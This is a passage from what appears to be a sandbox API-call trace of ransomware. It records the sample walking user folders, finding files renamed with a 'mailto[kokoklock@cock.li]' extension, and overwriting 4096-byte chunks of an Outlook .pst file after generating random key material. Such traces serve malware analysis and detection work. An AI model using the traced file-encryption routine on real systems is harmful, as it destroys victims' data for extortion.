lpParameter=0x2fa1ff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d8 [0175.454] FindNextFileW (in: hFindFile=0x3045028, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd46de710, ftCreationTime.dwHighDateTime=0x1d4d4f7, ftLastAccessTime.dwLowDateTime=0xdae7cba0, ftLastAccessTime.dwHighDateTime=0x1d4c9b3, ftLastWriteTime.dwLowDateTime=0x894043cf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xfb62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITti.m4a.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="ITTIM4~1.D0E")) returned 1 [0175.454] wcscmp (_String1="ITti.m4a.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.454] wcscmp (_String1="ITti.m4a.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.454] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x2fa6988 [0175.454] wcscpy (in: _Dest=0x2fa6988, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" [0175.454] wcscat (in: _Dest=0x2fa6988, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" [0175.454] wcscat (in: _Dest=0x2fa6988, _Source="ITti.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a.mailto[kokoklock@cock.li].d0e731" [0175.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa6988, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x398 [0175.455] FindNextFileW (in: hFindFile=0x3045028, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a11d280, ftCreationTime.dwHighDateTime=0x1d4d3f6, ftLastAccessTime.dwLowDateTime=0x32705770, ftLastAccessTime.dwHighDateTime=0x1d4d5e4, ftLastWriteTime.dwLowDateTime=0x8942a661, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2183, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="KT2JMD~1.D0E")) returned 1 [0175.455] wcscmp (_String1="Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.455] wcscmp (_String1="Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.455] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xda) returned 0x2f98890 [0175.455] wcscpy (in: _Dest=0x2f98890, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" [0175.455] wcscat (in: _Dest=0x2f98890, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" [0175.455] wcscat (in: _Dest=0x2f98890, _Source="Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731" [0175.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f98890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8 [0175.469] FindNextFileW (in: hFindFile=0x3045028, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3154b070, ftCreationTime.dwHighDateTime=0x1d4cc2f, ftLastAccessTime.dwLowDateTime=0x7d4dacb0, ftLastAccessTime.dwHighDateTime=0x1d4cab9, ftLastWriteTime.dwLowDateTime=0x8945091b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x15355, dwReserved0=0x0, dwReserved1=0x0, cFileName="p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="P2FABI~1.D0E")) returned 1 [0175.469] wcscmp (_String1="p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.469] wcscmp (_String1="p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.469] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff10e8 [0175.469] wcscpy (in: _Dest=0x2ff10e8, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" [0175.469] wcscat (in: _Dest=0x2ff10e8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" [0175.469] wcscat (in: _Dest=0x2ff10e8, _Source="p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731" [0175.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff10e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x584 [0175.470] FindNextFileW (in: hFindFile=0x3045028, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e31bd30, ftCreationTime.dwHighDateTime=0x1d4c9f3, ftLastAccessTime.dwLowDateTime=0xeefa5730, ftLastAccessTime.dwHighDateTime=0x1d4d0ec, ftLastWriteTime.dwLowDateTime=0x8949cd65, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12a43, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VW9WW3~1.D0E")) returned 1 [0175.470] wcscmp (_String1="Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.470] wcscmp (_String1="Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.470] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xdc) returned 0x2f98150 [0175.470] wcscpy (in: _Dest=0x2f98150, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" [0175.470] wcscat (in: _Dest=0x2f98150, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" [0175.470] wcscat (in: _Dest=0x2f98150, _Source="Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731" [0175.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f98150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0 [0175.471] FindNextFileW (in: hFindFile=0x3045028, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e31bd30, ftCreationTime.dwHighDateTime=0x1d4c9f3, ftLastAccessTime.dwLowDateTime=0xeefa5730, ftLastAccessTime.dwHighDateTime=0x1d4d0ec, ftLastWriteTime.dwLowDateTime=0x8949cd65, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12a43, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VW9WW3~1.D0E")) returned 0 [0175.471] FindClose (in: hFindFile=0x3045028 | out: hFindFile=0x3045028) returned 1 [0175.472] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020ca8) returned 1 [0175.472] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0175.472] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30577c0) returned 1 [0175.472] RtlExitUserThread (Status=0x0) Thread: id = 2434 os_tid = 0x84c [0175.443] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\base.js.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.444] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.444] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\base.js.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.444] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.444] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b520) returned 1 [0175.444] RtlExitUserThread (Status=0x0) Thread: id = 2435 os_tid = 0xae0 [0175.446] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\ui.js.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.446] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.446] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\ui.js.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.446] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.446] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9e370) returned 1 [0175.446] RtlExitUserThread (Status=0x0) Thread: id = 2436 os_tid = 0xadc [0175.447] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\oobe-desktop.css.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.448] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.448] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\oobe-desktop.css.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.448] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.448] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1e68) returned 1 [0175.449] RtlExitUserThread (Status=0x0) Thread: id = 2437 os_tid = 0xabc [0175.450] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\ui-dark.css.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.450] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.450] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\ui-dark.css.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.450] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.450] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3d68) returned 1 [0175.450] RtlExitUserThread (Status=0x0) Thread: id = 2439 os_tid = 0xab8 [0175.941] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0175.942] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.942] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0175.942] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x232ffa40 | out: lpFileSize=0x232ffa40*=271616) returned 1 [0175.943] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x424fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.943] ReadFile (in: hFile=0x370, lpBuffer=0x232ffa14, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x232ffa10, lpOverlapped=0x0 | out: lpBuffer=0x232ffa14*, lpNumberOfBytesRead=0x232ffa10*=0x4, lpOverlapped=0x0) returned 1 [0175.943] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.944] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0175.944] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0175.944] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054078 [0175.944] NtQuerySystemTime (in: CurrentTime=0x232ff9ec | out: CurrentTime=0x232ff9ec*=132121213332642559) returned 0x0 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0xab79e175 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x49bf0441 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0xcaf25b57 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x50d94010 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x76b3de59 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x4f923af6 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x8ab8fb8c [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x3ab44825 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x4600ea14 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0xa7fbbc84 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0xdd305140 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0xe9895801 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x4180137b [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x1129e55e [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x6b2a8016 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x4416925c [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0xe55fb4e3 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x1d962935 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0xe306ad6f [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x6e27b445 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x978db174 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x41d40c77 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0xbaa48438 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0xaa6069ba [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x679d8c61 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x929b48ed [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x46c369af [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x6323d445 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x38c935a0 [0175.944] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0xa0cebec6 [0175.945] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0xf3fe238a [0175.945] RtlRandom (in: Seed=0x232ff9f8 | out: Seed=0x232ff9f8) returned 0x68adb5ed [0175.955] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.955] ReadFile (in: hFile=0x370, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x232ff9ac, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x232ff9ac*=0x4096, lpOverlapped=0x0) returned 1 [0175.957] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.957] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87110 [0175.957] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88c58 [0175.957] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d38 [0175.957] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d38) returned 1 [0175.958] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0175.959] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94950 [0175.959] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94db0 [0175.959] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94db0) returned 1 [0175.959] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88c58) returned 1 [0175.959] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87110) returned 1 [0175.959] WriteFile (in: hFile=0x370, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x232ff9ac, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x232ff9ac*=0x4096, lpOverlapped=0x0) returned 1 [0175.959] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0175.959] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x24546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.959] ReadFile (in: hFile=0x370, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x232ff9ac, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x232ff9ac*=0x4096, lpOverlapped=0x0) returned 1 [0175.960] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x24546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.960] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87110 [0175.960] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88fa0 [0175.960] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ce8 [0175.960] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ce8) returned 1 [0175.960] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0175.960] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94a18 [0175.960] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ce8 [0175.961] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ce8) returned 1 [0175.961] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88fa0) returned 1 [0175.961] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87110) returned 1 [0175.961] WriteFile (in: hFile=0x370, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x232ff9ac, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x232ff9ac*=0x4096, lpOverlapped=0x0) returned 1 [0175.961] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0175.961] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x3e46a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.961] ReadFile (in: hFile=0x370, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x232ff9ac, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x232ff9ac*=0x4096, lpOverlapped=0x0) returned 1 [0175.962] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x3e46a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.962] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0175.962] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88a00 [0175.962] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f949c8 [0175.962] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f949c8) returned 1 [0175.962] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0175.962] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94c70 [0175.962] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ae0 [0175.962] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ae0) returned 1 [0175.962] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88a00) returned 1 [0175.962] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0175.963] WriteFile (in: hFile=0x370, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x232ff9ac, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x232ff9ac*=0x4096, lpOverlapped=0x0) returned 1 [0175.964] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0175.964] WriteFile (in: hFile=0x370, lpBuffer=0x2f94950*, nNumberOfBytesToWrite=0x20, 